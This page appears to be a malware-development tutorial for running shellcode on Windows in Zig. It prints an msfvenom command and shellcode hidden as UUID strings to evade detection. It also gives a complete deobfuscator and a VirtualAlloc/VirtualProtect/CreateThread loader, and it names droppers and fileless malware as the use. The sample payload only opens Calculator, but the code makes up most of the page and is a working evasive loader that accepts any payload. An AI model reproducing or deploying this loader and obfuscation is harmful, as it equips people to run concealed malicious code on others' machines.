Skip to content

Execute Via Shellcode

TL;DR

See the code example

Executing payloads as shellcode involves storing the machine code directly in a buffer, allocating executable memory, and then jumping to that buffer. The code here uses the ZYPE tool to generate encrypted shellcode that is decoded at runtime. After calling Windows APIs such as VirtualAlloc and CreateThread, the program transfers control to the shellcode, effectively running the payload without dropping any additional files. This direct execution model is common in many droppers and fileless malware samples.

What Is Shellcode?

Shellcode is a sequence of machine instructions, that are designed to be injected into a running program to execute a specific payload. It often spawns a shell(cmd.exe or powershell.exe in windows, /bin/sh in linux).

Code Walkthrough

The payload array and deobfuscation function is generated by ZYPE, you should go install that tool if you haven't. That will make generating encrypted/obfuscated payload to be much more easier.

Declaring all the constants:

main.zig
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;

// Windows API types
const PVOID = *anyopaque;
const DWORD = windows.DWORD;
const SIZE_T = usize;
const PBYTE = [*]u8;

// Memory protection constants
const MEM_COMMIT = 0x1000;
const MEM_RESERVE = 0x2000;
const PAGE_READWRITE = 0x04;
const PAGE_EXECUTE_READWRITE = 0x40;

// Windows API functions
extern "kernel32" fn GetCurrentProcessId() callconv(.C) DWORD;
extern "kernel32" fn GetLastError() callconv(.C) DWORD;
extern "kernel32" fn VirtualAlloc(?PVOID, SIZE_T, DWORD, DWORD) callconv(.C) ?PVOID;
extern "kernel32" fn VirtualProtect(PVOID, SIZE_T, DWORD, *DWORD) callconv(.C) windows.BOOL;
extern "kernel32" fn CreateThread(?windows.HANDLE, SIZE_T, *const fn (?PVOID) callconv(.C) DWORD, ?PVOID, DWORD, ?*DWORD) callconv(.C) ?windows.HANDLE;
extern "kernel32" fn HeapFree(windows.HANDLE, DWORD, PVOID) callconv(.C) windows.BOOL;
extern "kernel32" fn GetProcessHeap() callconv(.C) windows.HANDLE;

UUID array is generated from the following command (for more information about zype: https://github.com/cx330blake/zype):

1. msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
2. zype -f calc.bin -m uuid

This generates us 17 UUID strings and are stored in the UUID_ARRAY

main.zig
const UUID_ARRAY: [17][]const u8 = [_][]const u8{
    "E48348FC-E8F0-00C0-0000-415141505251",
    "D2314856-4865-528B-6048-8B5218488B52",
    "728B4820-4850-B70F-4A4A-4D31C94831C0",
    "7C613CAC-2C02-4120-C1C9-0D4101C1E2ED",
    "48514152-528B-8B20-423C-4801D08B8088",
    "48000000-C085-6774-4801-D0508B481844",
    "4920408B-D001-56E3-48FF-C9418B348848",
    "314DD601-48C9-C031-AC41-C1C90D4101C1",
    "F175E038-034C-244C-0845-39D175D85844",
    "4924408B-D001-4166-8B0C-48448B401C49",
    "8B41D001-8804-0148-D041-5841585E595A",
    "59415841-5A41-8348-EC20-4152FFE05841",
    "8B485A59-E912-FF57-FFFF-5D48BA010000",
    "00000000-4800-8D8D-0101-000041BA318B",
    "D5FF876F-E0BB-2A1D-0A41-BAA695BD9DFF",
    "C48348D5-3C28-7C06-0A80-FBE07505BB47",
    "6A6F7213-5900-8941-DAFF-D563616C6300",
};

const NUMBER_OF_ELEMENTS: usize = 17;

Manually parsing the UUID strings such that they match Windows UuidFromStringA behavior (converting each UUID string into a 16-byte binary representation, removing hyphens, correcting endianness)

main.zig
fn parseUuidManual(uuid_str: []const u8, buffer: []u8) !void {
    if (buffer.len < 16) return error.BufferTooSmall;

    // UUID format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
    // Split into parts: [8]-[4]-[4]-[4]-[12] = 32 hex chars + 4 hyphens

    var clean_hex = std.ArrayList(u8).init(std.heap.page_allocator);
    defer clean_hex.deinit();

    // Remove hyphens to get 32 hex characters
    for (uuid_str) |c| {
        if (c != '-') {
            try clean_hex.append(c);
        }
    }

    if (clean_hex.items.len != 32) return error.InvalidUuidLength;

    // Parse UUID components with correct endianness
    // Windows UUID structure (matches GUID):
    // - First 4 bytes (data1): Little-endian 32-bit
    // - Next 2 bytes (data2): Little-endian 16-bit
    // - Next 2 bytes (data3): Little-endian 16-bit
    // - Last 8 bytes (data4): Big-endian bytes

    const hex_chars = clean_hex.items;

    // Data1 (4 bytes, little-endian)
    const data1 = try std.fmt.parseInt(u32, hex_chars[0..8], 16);
    buffer[0] = @intCast(data1 & 0xFF);
    buffer[1] = @intCast((data1 >> 8) & 0xFF);
    buffer[2] = @intCast((data1 >> 16) & 0xFF);
    buffer[3] = @intCast((data1 >> 24) & 0xFF);

    // Data2 (2 bytes, little-endian)
    const data2 = try std.fmt.parseInt(u16, hex_chars[8..12], 16);
    buffer[4] = @intCast(data2 & 0xFF);
    buffer[5] = @intCast((data2 >> 8) & 0xFF);

    // Data3 (2 bytes, little-endian)
    const data3 = try std.fmt.parseInt(u16, hex_chars[12..16], 16);
    buffer[6] = @intCast(data3 & 0xFF);
    buffer[7] = @intCast((data3 >> 8) & 0xFF);

    // Data4 (8 bytes, big-endian - byte by byte)
    for (0..8) |i| {
        const hex_pair = hex_chars[16 + i * 2 .. 16 + i * 2 + 2];
        buffer[8 + i] = try std.fmt.parseInt(u8, hex_pair, 16);
    }
}

This functions iterates over the UUID array to reconstruct the original shell. It allocates a buffer to hold the deobfuscated payload (17 UUIDs x 16 bytes = 272 bytes)

main.zig
fn uuidDeobfuscation(uuid_array: []const []const u8, allocator: std.mem.Allocator) ![]u8 {
    const buffer_size = uuid_array.len * 16;
    const buffer = try allocator.alloc(u8, buffer_size);

    for (uuid_array, 0..) |uuid_str, i| {
        const offset = i * 16;
        parseUuidManual(uuid_str, buffer[offset .. offset + 16]) catch |err| {
            std.debug.print("[!] Failed to parse UUID[{}]: \"{s}\" - Error: {}\n", .{ i, uuid_str, err });
            allocator.free(buffer);
            return err;
        };
    }

    return buffer;
}

Steps to follow in the main fucntion:

  • Deobfuscating the UUID array into a shellcode buffer
    main.zig
    const p_deobfuscated_payload = uuidDeobfuscation(&UUID_ARRAY, allocator) catch |err| {
        print("[!] uuidDeobfuscation Failed With Error: {}\n", .{err});
        std.process.exit(1);
    };
    defer allocator.free(p_deobfuscated_payload);
    
    print("[+] DONE !\n", .{});
    
    const s_deobfuscated_size = p_deobfuscated_payload.len;
    print("[i] Deobfuscated Payload At : 0x{x} Of Size : {d} \n", .{ @intFromPtr(p_deobfuscated_payload.ptr), s_deobfuscated_size });
    
    waitForEnter("[#] Press <Enter> To Allocate ... ");
    
  • Allocating memory with VirtualAlloc and copying the deobfuscated shell code to the allocated memory
    main.zig
    const p_shellcode_address = VirtualAlloc(null, s_deobfuscated_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) orelse {
        print("[!] VirtualAlloc Failed With Error : {d} \n", .{GetLastError()});
        std.process.exit(1);
    };
    
    print("[i] Allocated Memory At : 0x{x} \n", .{@intFromPtr(p_shellcode_address)});
    
    waitForEnter("[#] Press <Enter> To Write Payload ... ");
    
    // Copy the payload to allocated memory
    @memcpy(@as([*]u8, @ptrCast(p_shellcode_address))[0..s_deobfuscated_size], p_deobfuscated_payload);
    
    // Clear the original payload buffer
    @memset(@as([*]u8, @ptrCast(p_deobfuscated_payload.ptr))[0..s_deobfuscated_size], 0);
    
  • Changing memory protection to executable using VirtualProtect
    main.zig
    var dw_old_protection: DWORD = 0;
    if (VirtualProtect(p_shellcode_address, s_deobfuscated_size, PAGE_EXECUTE_READWRITE, &dw_old_protection) == 0) {
        print("[!] VirtualProtect Failed With Error : {d} \n", .{GetLastError()});
        std.process.exit(1);
    }
    
    waitForEnter("[#] Press <Enter> To Run ... ");
    
  • Creating a new thread to execute shell code using CreateThread
    main.zig
    const thread_handle = CreateThread(null, 0, @ptrCast(p_shellcode_address), null, 0, null) orelse {
        print("[!] CreateThread Failed With Error : {d} \n", .{GetLastError()});
        std.process.exit(1);
    };
    
    _ = thread_handle; // Suppress unused variable warning
    
    print("[+] Calculator should launch now!\n", .{});
    waitForEnter("[#] Press <Enter> To Quit ... "); // Pause the execution.
    
    return;
    

NOTE: If we don't use waitForEnter() here, the main thread might have high possibility to exit before the shellcode being executed. So here we use that function to pause the execution. In practice, we should use WaitForSingleObject() function from Windows API to wait until the new thread to finish or the thread it timed out. So that the main thread will not exit before the shellcode execution.

main.zig
// Wait for Enter key by reading entire line
fn waitForEnter(message: []const u8) void {
    print("{s}", .{message});
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}